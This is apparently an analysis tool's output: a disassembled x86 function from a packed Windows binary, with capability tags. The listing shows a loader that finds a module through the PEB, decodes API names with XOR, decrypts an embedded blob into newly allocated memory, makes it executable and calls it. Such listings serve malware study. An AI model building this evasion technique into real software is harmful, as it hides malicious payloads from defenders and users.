Function at 0x4010b0
Capabilities:
Access peb ldr_data
Encode data using xor
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x404004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00401080
cmp al, 1
jne 0x4010e8
mov eax, 5
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401410
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0x330
pushal
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, eax
add ebx, 0xc
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x30]
mov ecx, 0x18
xor esi, esi
xor ebx, ebx
add bl, byte [edi + ecx - 1]
add esi, ebx
loop 0x401112
cmp esi, dword [ebp - 0xc]
je 0x401127
mov eax, dword [eax]
cmp eax, ebx
jne 0x401108
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x18], eax
nop
popal
mov edi, 0xc
mov eax, 0xd
sub eax, 0x404394
mov dword [ebp - 0xc], eax
lea ecx, [edi + 0x12]
lea eax, [eax + 0x404388]
xor edx, edx
add eax, edi
mov esi, edi
div ecx
mov eax, 0x88888889
mov ecx, edi
and ecx, 7
mov bl, byte [edx + 0x404368]
xor bl, byte [edi + 0x404388]
mul edi
not bl
mov eax, edi
rol bl, cl
shr edx, 4
mov ecx, edx
shl ecx, 4
sub ecx, edx
add ecx, ecx
sub eax, ecx
mov ecx, 0x1e
xor bl, byte [eax + 0x404368]
mov eax, dword [ebp - 0xc]
mov byte [edi + 0x404388], bl
dec edi
test esi, esi
jne 0x401144
push 0x404388
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, 0xd
mov edi, 0xc
sub eax, 0x4045a4
mov dword [ebp - 0xc], eax
nop word [eax + eax]
lea eax, [eax + 0x404598]
xor edx, edx
add eax, edi
mov ecx, 0x1e
div ecx
mov eax, 0x88888889
mov ecx, edi
and ecx, 7
mov esi, edi
mov bl, byte [edx + 0x404368]
xor bl, byte [edi + 0x404598]
mul edi
not bl
mov eax, edi
rol bl, cl
shr edx, 4
mov ecx, edx
shl ecx, 4
sub ecx, edx
add ecx, ecx
sub eax, ecx
xor bl, byte [eax + 0x404368]
mov eax, dword [ebp - 0xc]
mov byte [edi + 0x404598], bl
dec edi
test esi, esi
jne 0x4011c0
push 0x404598
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x14], eax
mov edi, 0xe
mov eax, 0xf
sub eax, 0x4045b6
mov dword [ebp - 0xc], eax
lea eax, [eax + 0x4045a8]
xor edx, edx
add eax, edi
mov ecx, 0x1e
div ecx
mov eax, 0x88888889
mov ecx, edi
and ecx, 7
mov esi, edi
mov bl, byte [edx + 0x404368]
xor bl, byte [edi + 0x4045a8]
mul edi
not bl
mov eax, edi
rol bl, cl
shr edx, 4
mov ecx, edx
shl ecx, 4
sub ecx, edx
add ecx, ecx
sub eax, ecx
xor bl, byte [eax + 0x404368]
mov eax, dword [ebp - 0xc]
mov byte [edi + 0x4045a8], bl
dec edi
test esi, esi
jne 0x401236
push 0x4045a8
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push 0x351
push 0
mov ebx, eax
call dword [ebp - 0x14]
mov dword [ebp - 0x14], 0x404018
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0x350
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
rep movsb byte es:[edi], byte [esi]
push 0xfe
push 0x404398
mov edx, 0x350
mov ecx, eax
call fcn.00401010
add esp, 8
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push 0x20
push 0x350
push eax
call ebx
mov eax, 0x9000
mov edi, 0x8fff
sub eax, 0x40d5bf
mov ecx, 0xfe
mov dword [ebp - 0x10], eax
nop
lea eax, [eax + 0x4045c0]
xor edx, edx
add eax, edi
mov esi, edi
div ecx
mov eax, 0x2040811
mov ecx, edi
and ecx, 7
mov bl, byte [edx + 0x404498]
xor bl, byte [edi + 0x4045c0]
mul edi
mov eax, edi
not bl
sub eax, edx
rol bl, cl
shr eax, 1
mov ecx, edi
add eax, edx
shr eax, 7
imul eax, eax, 0xfe
sub ecx, eax
mov eax, dword [ebp - 0x10]
xor bl, byte [ecx + 0x404498]
mov ecx, 0xfe
mov byte [edi + 0x4045c0], bl
dec edi
test esi, esi
jne 0x401310
mov eax, 4
mov dword [ebp - 0xc], 0x4045c0
sub eax, 0x4045bb
mov edi, 3
mov dword [ebp - 0x10], eax
lea eax, [eax + 0x4045b8]
xor edx, edx
add eax, edi
mov ecx, 0x1e
div ecx
mov eax, 0x88888889
mov ecx, edi
and ecx, 7
mov esi, edi
mov bl, byte [edx + 0x404368]
xor bl, byte [edi + 0x4045b8]
mul edi
not bl
mov eax, edi
rol bl, cl
shr edx, 4
mov ecx, edx
shl ecx, 4
sub ecx, edx
add ecx, ecx
sub eax, ecx
xor bl, byte [eax + 0x404368]
mov eax, dword [ebp - 0x10]
mov byte [edi + 0x4045b8], bl
dec edi
test esi, esi
jne 0x401381
mov eax, dword [ebp - 0x14]
mov dword [0x40d920], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x10], 1
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push dword [ebp - 0x1c]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call dword [0x40d920]
add esp, 0xc
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00401410
mov esp, ebp
pop ebp
ret